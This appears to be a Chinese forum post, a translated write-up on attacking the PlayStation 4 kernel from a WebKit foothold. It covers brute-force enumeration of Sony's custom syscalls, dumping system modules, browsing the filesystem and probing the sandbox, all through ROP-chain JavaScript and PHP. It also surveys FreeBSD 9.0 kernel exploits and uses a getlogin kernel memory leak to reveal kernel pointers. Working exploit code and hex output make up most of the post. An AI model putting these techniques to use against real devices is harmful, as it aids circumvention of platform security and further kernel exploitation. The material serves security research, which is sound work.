- 精华
- 0
- 帖子
- 533
- 威望
- 0 点
- 积分
- 585 点
- 种子
- 17 点
- 注册时间
- 2010-9-9
- 最后登录
- 2021-6-18
|
楼主 |
发表于 2015-12-8 17:09 · 美国
|
显示全部楼层
***枚举系统调用
虽然对模块转储进行逆向工程是鉴别系统调用最可靠的方式,但一些系统调用完全没有在转储中被引用,所以我们只能进行盲分析。
如果我们猜测某个系统调用可能使用特定的参数**,那就可以用我们选定的参数,***枚举所有的能返回特定值(0 代表成功)的系统调用,并且忽略一切返回错误结果的。
我们也可以向所有的参数传递 0,然后***枚举全部系统调用,并确定返回了有价值的错误信息的那些,例如 0xe“错误地址”表示它们至少需要一个指针。
首先,我们需要在页面加载后立即执行 ROP 链。我们可以通过把自己的函数附加到 body 元素的 onload 来实现:- <body onload="exploit()">
复制代码 接下来,我们需要执行一个由 HTTP GET 值所确定的特定的系统调用。虽然这可以用 JavaScript 实现,为了简明,我将演示如何用 PHP 实现:
var Sony = 533;
chain.syscall("Sony system call", Sony + <?php print($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);
当系统调用被执行之后,我们可以检查返回值,如果返回值没有意义,就把页面重定向到下一个系统调用:
if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?php print($_GET["b"]); ?> + 1).toString());
在末尾附加 ?b=0 并运行页面,就可以从第一个索尼的系统调用来进行***枚举。
这个方法需要大量的实验,通过传递不同的值到被***枚举所发现的系统调用,再分析新的返回值同。你应该可以部分鉴别某些系统调用。
系统调用 538
作为例子,我将在不依赖任何模块转储的情况下,分析系统调用 538。
这些返回值是取决于第一个参数所传递的值的:
- 0 - 0x16,“无效参数”
- 1 - 0xe,“错误地址”
- 指向一串 0 的指针 - 初始值 0x64,每次页面刷新后加 1
其他可供尝试的参数包括 PID、线程 ID 以及文件描述符。
虽然绝大多数的系统调用在成功时返回 0,从每次调用后的返回值都增加这个特征来看,似乎它在分配一个资源编号,例如文件描述符。
下一步是察看系统调用之前和之后的数据,确定它是否被写入。
因为数据没有发生变化,我们现在可以推测它是一个输入。
接下来,我试着传递了一个长字符串作为第一个参数。对每一个找到的输入,你都应当这么做,因为有可能发现缓冲区溢出。
writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
这次的返回值是 0x3f,ENAMETOOLONG。不幸的是,看来这个系统调用正确地限制了名称的长度(包括 NULL 结束符一共 32 字节),但是这确实告诉我们,它需要的是一个字符串,而不是一个结构体。
关于这个系统调用的功能,现在我们知道了少量的几种可能,最明显的是关于文件系统的某些方面(例如自定义的 mkdir 或者 open),但是这似乎并不像是某种在我们向指针写入任何数据之前就被分配的资源。
要测试第一个参数是不是路径,我们可以将其以多个 / 字符来分割,看看是否能允许更长的字符串:
writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
因为这同样返回 0x3f,我们可以认为第一个参数不是路径;它是某种被顺次分配的东西的名称。
在分析更多的系统调用之后,我发现以下这些都具有完全相同的行为:
从以上信息可知,要精确地知道这些系统调用的功能几乎是不可能的,但是随着你运行更多的测试,更多信息也会被慢慢地发现。
为了你能节约一些时间,系统调用 538 用于分配一个事件标志(而且不只是接收一个名称)。
运用关于内核运行的一般知识,你可以猜测并验证这些系统调用在分配什么(信号量、互斥锁等等)。
转储额外的模块
我们可以使用以下步骤转储额外的模块:
我通过非常乏味的尝试,在互联网浏览器内转储了每一个模块,并且将结果发表在了 psdevwiki。所有的模块,只要后面有 Yes 字样,就可以通过这个方法转储。
要装载一个模块,我们需要使用 libSceSysmodule.sprx + 0x1850 处的 sceSysmoduleLoadModule 函数。第一个参数是需要装载的模块编号,其他三个只需要为 0。
以下的 JuSt-ROP 方法可以用来执行一次函数调用:
this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add(module_bases[module] + address);
}
所以,要装载 libSceAvSetting.sprx(0xb):
chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);
就像大多数系统调用那样,它在成功时应该返回 0。要查看被分配的已装载模块编号,我们可以使用一个索尼自定义的系统调用,编号 592,来得到一个当前已装载的模块列表:
var countAddress = chain.data;
var modulesAddress = chain.data + 8;
// 系统调用 592,getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);
chain.execute(function() {
var count = getU64from(countAddress);
for(var index = 0; index < count; index++) {
logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
}
});
在不装载额外的模块的情况下运行,会得到如下列表:
0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59
但是,如果我们在装载模块 0xb 之后运行,就会看到一个额外的条目,0x65。注意,模块的编号与已装载的模块编号不同。
我们现在可以使用另外一个索尼的系统调用,编号 593,接收的是一个已装载的模块编号和一个缓冲区,然后将已装载的模块信息写入缓冲区当中,包括它的基地址。由于已装载的模块编号始终是 0x65,我们可以将其硬编码到 ROP 链当中,而不是必须从模块列表中存储结果。
缓冲区必须以应返回的结构体的长度开始,否则将返回 0x16 错误,“无效参数”:
setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);
chain.execute(function() {
logAdd(hexDump(moduleInfoAddress, 0x160));
});
在成功时它返回 0,并且将缓冲区写入一个可以这样读取的结构体:
var name = readString(moduleInfoAddress + 0x8);
var codeBase = getU64from(moduleInfoAddress + 0x108);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x118);
var dataSize = getU32from(moduleInfoAddress + 0x120);
我们现在具备了转储模块所需的一切条件!
dump(codeBase, codeSize + dataSize);
此外还有一个索尼的系统调用,编号 608,与 593 的工作方式相似,但是提供的是略微不同的关于已装载的模块的信息:
setU64to(moduleInfoAddress, 0x1a8);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1a8));
并不清楚这些信息的含义。
浏览文件系统
PS4 使用标准的 FreeBSD 9.0 系统调用来读取文件和目录。
对某些目录,例如 /dev/,使用 read 是可行的。对其他的目录,例如 /,会失败。
我不清楚原因是什么,但是如果我们对目录使用 gendents 而非 read,它将更可靠地工作:
writeString(chain.data, "/dev/");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 1028);
这是内存中的结果:
0000010: 0700 0000 1000 0205 6469 7073 7700 0000 ........dipsw...
0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null....
0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero....
0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd......
0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin.......
0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout......
0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr......
0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0.......
0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1.......
00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random......
00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom.....
00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout.
00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std
00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci
00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2...........
0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3.......
0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4...
0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty
0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci
0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6...........
0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7.......
0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0..
0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty
0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci
0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0..".......
00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#...
00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$.......
00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....).......
00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_
00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............
00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4.......
0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce.
0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc...
0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A...
0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B.......
0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti
0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F...
0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification
0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc
0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V......***e
0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng.
00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb.....
00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4.....
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
你可以读取其中的一些设备,例如:读取 /dev/urandom 将向内存填充随机数据。
解析这段内存并且创建一个干净的条目列表也是有可能的;例如完整的文件浏览器的源中的 browser.html:
不幸的是,由于沙盒的限制,我们没有对文件系统的完整访问权限。试图读取确实存在但是被限制的文件和目录会导致错误 2,ENOENT,“没有这个文件或目录”。
我们的确可以访问很多有意思的东西,包括加密后的存档、奖杯和账号信息。我将在下一篇文章中讨论更多关于文件系统的内容。
沙盒
除了与文件相关的系统调用会在特定的路径失败,系统调用失败还有其他原因。
最常见的是,被禁止的系统调用会返回 1,EPERM,“操作被禁止”;例如试图使用 ptrace,但是其他系统调用可能因为不同原因失败:
兼容性系统调用被禁止。例如,当试图调用 mmap 时,你必须使用系统调用 477,而不是 71 或者 197;否则就会触发段错误。
其他系统调用,例如 exit,也会触发段错误:
chain.syscall("exit", 1, 0);
试图创建一个 SCTP 套接字将返回错误 0x2b,EPROTONOSUPPORT,说明 SCTP 套接字被 PS4 内核禁用:
//int socket(int domain, int type, int protocol);
//socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
chain.syscall("socket", 97, 2, 1, 132);
此外,虽然使用参数 PROT_READ | PROT_WRITE | PROT_EXEC 调用 mmap 会返回一个有效的指针,但 PROT_EXEC 标志会被忽略。读取它的保护将返回 3(读写),而任何尝试执行该内存的操作将触发段错误:
chain.syscall("mmap", 477, 0, 4096, 1 | 2 | 4, 4096, -1, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.add("pop rax", 0xfeeb);
chain.add("mov [rdi], rax");
chain.add("mov rax, rdi");
chain.add("jmp rax");
在 PS4 使用的开源软件清单中,没有任何例如 Capsicum 这样的沙盒软件,所以 PS4 只可能使用纯粹的 FreeBSD jail,或者某些自定义的,专用的,沙盒系统(不太可能)。
Jail
我们可以证明 FreeBSD jail 被 PS4 内核频繁使用,因为 auditon 系统调用不能在 jail 环境中执行:
chain.syscall("auditon", 446, 0, 0, 0);
auditon 系统调用会首先在这里检查 jail 的存在,如果结果为真,则返回 ENOSYS:
if (jailed(td->td_ucred))
return (ENOSYS);
否则,这个系统调用极有可能从 mac_system_check_auditon 的这个位置返回 EPERM:
error = mac_system_check_auditon(td->td_ucred, uap->cmd);
if (error)
return (error);
或者从 priv_check 的这个位置:
error = priv_check(td, PRIV_AUDIT_CONTROL);
if (error)
return (error);
这个系统调用能到达的最远处一定是紧接在 priv_check 之后,返回 EINVAL 之前,因为长度参数为 0,如下所示:
if ((uap->length <= 0) || (uap->length > sizeof(union auditon_udata)))
return (EINVAL);
因为 mac_system_check_auditon 和 priv_check 不可能返回 ENOSYS,所以对 jail 的检查结果为真是惟一可能返回 ENOSYS 的情况。
执行这个 ROP 链时,返回值是 ENOSYS(0x48)。
这就告诉我们,无论 PS4 使用的什么沙盒系统,至少它都是基于 jail 的,因为对 jail 的检查能够通过。
FreeBSD 9.0 内核漏洞
现在还试图在 FreeBSD 9.0 内核源代码中寻找新的漏洞几乎没有意义,因为自从它在 2012 年发布之后,已经有数个内核漏洞被发现,而 PS4 也有可能受其影响。
出于明显的原因,我们可以立即忽略其中的一些:
FreeBSD 9.0-9.1 mmap/ptrace - 权限提升漏洞 - 没有用处,之前已经提到,我们无法访问 ptrace 系统调用。
FreeBSD 9.0 - Intel SYSRET 内核权限提升漏洞 - 没有用处,因为 PS4 使用 AMD 处理器。
FreeBSD 内核 - 多个漏洞 - 也许是第一个有实际作用的漏洞,但是其他两个依赖于 SCTP 套接字,而这被 PS4 内核禁用(之前已经提到)。
但是,还有一些相似的漏洞,可能有实际作用:
getlogin
一个看上去非常容易尝试的缺陷是使用 getlogin 系统调用来泄漏少量内核内存。
getlogin 系统调用的功能是将当前会话的登录名复制到用户内存中,但是,因为一个 bug,整个缓冲区总是被复制下来,而不仅是登录名字符串的长度。这意味着我们可以从内核中读取一些未初始化的数据,可能派上用场。
这个系统调用(49 号)实际上是 int getlogin_r(char *name, int len); 而并非 char *getlogin(void);。
所以,我们可以试着复制一些内核内存到用户内存的一个未被使用的部分。
chain.syscall("getlogin", 49, chain.data, 17);
不幸的是,我们最多只能获得 17 字节的数据,因为:
登录名被限制为 MAXLOGNAME (定义于 <sys/param.h>)个字符,目前包括 null 在内是 17。
- FreeBSD Man 页面
执行 ROP 链之后,返回值是 0,证明这个系统调用的确有效!很好的开始。现在,我们来看看所指向的内存:
执行 ROP 链之前:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
执行 ROP 链之后:
72 6f 6f 74 00 fe ff ff 08 62 61 82 ff ff ff ff
00
将前 4 个字节作为 ASCII 解码:
root
所以浏览器是以 root 身份执行的!这完全是意料之外的。
更有意思的是,泄漏的内存看上去像是指向内核某处的指针,而且每次运行 ROP 链的时候都是相同的;这就是支持Yifan Lu 的 PS4 没有内核 ASLR 论点的证据!
总结
从已知的信息来看,PS4 的内核与标准的 FreeBSD 9.0 内核非常相似。
重要的是,这些差别看来只是改变了标准的内核配置(比如禁用 SCTP 套接字),而不是修改了代码。索尼还在内核中加入了一些他们自定义的系统调用,但是除此以外,内核的其他部分看来几乎没有被修改。
从这个角度来看,我倾向于 PS4 同样具有绝大多数的 FreeBSD 9.0 内核的好用的漏洞!
不幸的是,由于我们目前被沙盒所限制(就像标准的 FreeBSD jail 一样),大多数内核漏洞不能从 WebKit 入口点被触发。
并且,由于 FreeBSD 10 的推出,不太可能有人再对 FreeBSD 9 的私有漏洞保密,所以除非突然有新的漏洞公布,我们就只能使用已有的那些。
借助某些已知的内核内存泄漏来破解 PS4 内核并非不可能,但是绝对不容易。
从此可知,最好的办法看来是逆向工程全部的可以转储的模块,将尽可能多的索尼的自定义系统调用归档;我预感,比起标准的 FreeBSD 系统调用,我们在这里的运气会更好。
最近 Jaicrab 在 PS4 上找到了两个 UART 端口,说明有一些硬件黑客对 PS4 感兴趣。虽然传统上的硬件黑客的角色是取得系统的内存转储,例如 DSi,而我们已经可以通过 WebKit 漏洞做到这一点,但也有可能找到一个由硬件触发的内核漏洞,例如 geohot 原创的 PS3 hypervisor 破解。最有可能的还是通过系统调用在 PS4 上找到内核漏洞。
致谢
- flatz
- SKFU
- droogie
- Xerpi
- bigboss
- Hunger
- Takezo
- Proxima
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?注册
x
|